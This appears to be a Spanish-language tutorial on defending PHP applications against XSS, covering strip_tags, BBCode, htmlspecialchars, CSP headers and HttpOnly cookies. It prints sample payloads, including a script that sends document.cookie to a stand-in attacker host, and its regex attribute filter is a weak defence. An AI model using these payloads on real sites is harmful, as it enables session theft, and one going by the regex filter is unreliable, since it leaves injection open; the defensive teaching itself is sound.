Para prevenir ataques XSS en PHP hoy en día, no basta con limpiar etiquetas. Se debe aplicar una estrategia de «Defensa en Profundidad» que incluye: Escapado de salida (Output Encoding) usando htmlspecialchars(), validación de entrada estricta, uso de cabeceras de seguridad (CSP) y configuración de cookies seguras (HttpOnly).
El PHP Cross Site Scripting (XSS) sigue siendo, año tras año, una de las vulnerabilidades web más comunes y peligrosas. Se produce cuando una aplicación incluye datos no confiables en una página web sin validación o escapado adecuado. A continuación, analizaremos ejemplos reales de ataques y cómo evolucionar desde las técnicas clásicas hasta los estándares de seguridad modernos.
Tabla de Contenido
Entendiendo la Amenaza: ¿Qué es un ataque XSS?
Antes de protegernos, debemos entender al enemigo. El XSS permite a un atacante ejecutar scripts maliciosos en el navegador de la víctima. Esto no ataca al servidor directamente, sino a tus usuarios.
Ataque XSS Ejemplo: El Robo de Sesión
Imagina un foro donde los usuarios publican comentarios. Si no filtras la entrada, un atacante podría publicar lo siguiente:
Hola a todos, miren mi perfil: <script> document.location='http://sitio-atacante.com/robar.php?cookie=' + document.cookie; </script>
El Resultado: Cuando cualquier otro usuario (o el administrador) vea ese comentario, el navegador ejecutará el JavaScript. Este script tomará las cookies de sesión del usuario y las enviará al servidor del atacante, permitiéndole secuestrar la cuenta.
Otros XSS Ejemplos Comunes
- Redirección maliciosa:
<script>window.location = "http://sitio-falso.com"</script>(Phishing). - Defacement: Modificar el contenido visible de la página para dañar la reputación del sitio.
- Keylogging: Inyectar un script que registre cada tecla que pulsa el usuario.
Técnicas Clásicas: strip_tags y Limpieza Básica
Históricamente, la primera línea de defensa en PHP XSS ha sido la eliminación de etiquetas. Como mencionábamos en guías anteriores, una función muy útil en estos casos es strip_tags.
Si quisiéramos por ejemplo que los usuarios de nuestra web dejen sus comentarios en un artículo por medio de un formulario, deberíamos aplicar esta función a los datos ingresados:
<?php $texto = strip_tags($texto); ?>
Cabe destacar que la función strip_tags elimina también el código HTML, por lo que no permitirá dar ningún tipo de formato a los datos ingresados (negritas, cursivas, etc). Si quisiéramos darle la posibilidad al usuario de utilizar alguna etiqueta, la función cuenta con un argumento mediante el cual se especifica la o las etiquetas permitidas:
<?php $texto = strip_tags($texto, '<b>'); ?>
El Peligro de los Atributos (El «Warning» Clásico)
Hay que tener mucho cuidado con esto. La función no elimina el código incluido dentro de los atributos de las etiquetas permitidas. Si permites la etiqueta <b>, un usuario podría introducir:
<b onmouseover="alert('XSS')">Texto en Negrita</b>
Al pasar el mouse sobre el texto, se ejecutaría el código JavaScript. Para solucionar esto manteniendo el enfoque clásico, deberíamos aplicar expresiones regulares con preg_replace para limpiar atributos:
<?php
$texto = strip_tags($texto, '<b>');
// Elimina cualquier atributo dentro de las etiquetas
$texto = preg_replace('/<(.*)\s+ (\w+=.*?)>/', '<$1>', $texto);
?>
La Alternativa del Pseudocódigo (BBCode)
Otra opción muy utilizada en foros es permitir un pseudocódigo (como BBCode) que luego es reemplazado por HTML controlado. Si el usuario ingresa [b]Negrita[/b], el servidor lo transforma de forma segura:
<?php
$texto = strip_tags($texto); // Limpiamos todo el HTML real primero
$texto = str_replace('[b]', '<b>', $texto);
$texto = str_replace('[/b]', '</b>', $texto);
?>
El Estándar Moderno: Cómo proteger PHP hoy
Aunque las técnicas anteriores son útiles para casos específicos, la seguridad moderna exige métodos más robustos para combatir el PHP Cross Site Scripting. Aquí están las herramientas que debes usar hoy:
1. Escapado de Salida (Output Encoding)
La regla de oro moderna es: «Codifica los datos en el momento exacto en que los imprimes, según el contexto».
La función nativa más importante es htmlspecialchars(). Esta función convierte caracteres especiales en entidades HTML inofensivas (< se convierte en <), lo que hace que el navegador muestre el código en lugar de ejecutarlo.
// Forma CORRECTA de imprimir datos de usuario echo htmlspecialchars($texto, ENT_QUOTES, 'UTF-8');
- ENT_QUOTES: Vital para escapar también comillas simples y dobles, evitando inyecciones en atributos HTML.
- UTF-8: Define el juego de caracteres para evitar ataques de codificación.
2. Content Security Policy (CSP)
El CSP es una cabecera HTTP que permite a los administradores del sitio declarar fuentes de contenido aprobadas. Incluso si un atacante logra inyectar un XSS, el CSP puede impedir que el navegador lo ejecute o que envíe datos a servidores externos.
// Ejemplo de cabecera CSP Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com
3. Cookies HttpOnly
Para mitigar el daño de un ataque XSS ejemplo como el robo de sesión, debes configurar tus cookies de sesión con la bandera HttpOnly. Esto impide que JavaScript (y por tanto, el atacante) pueda leer el contenido de la cookie, aunque logre ejecutar el script.
<?php
// Configuración segura de sesión en PHP
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => 'tusitio.com',
'secure' => true, // Solo enviar por HTTPS
'httponly' => true, // Inaccesible para JS
'samesite' => 'Strict'
]);
session_start();
?>
Conclusión
Prevenir ataques XSS en PHP requiere evolución. Mientras que strip_tags es útil para limpieza de texto plano, la protección real en aplicaciones modernas depende del uso estricto de htmlspecialchars() al mostrar datos y la implementación de defensas en profundidad como CSP y HttpOnly.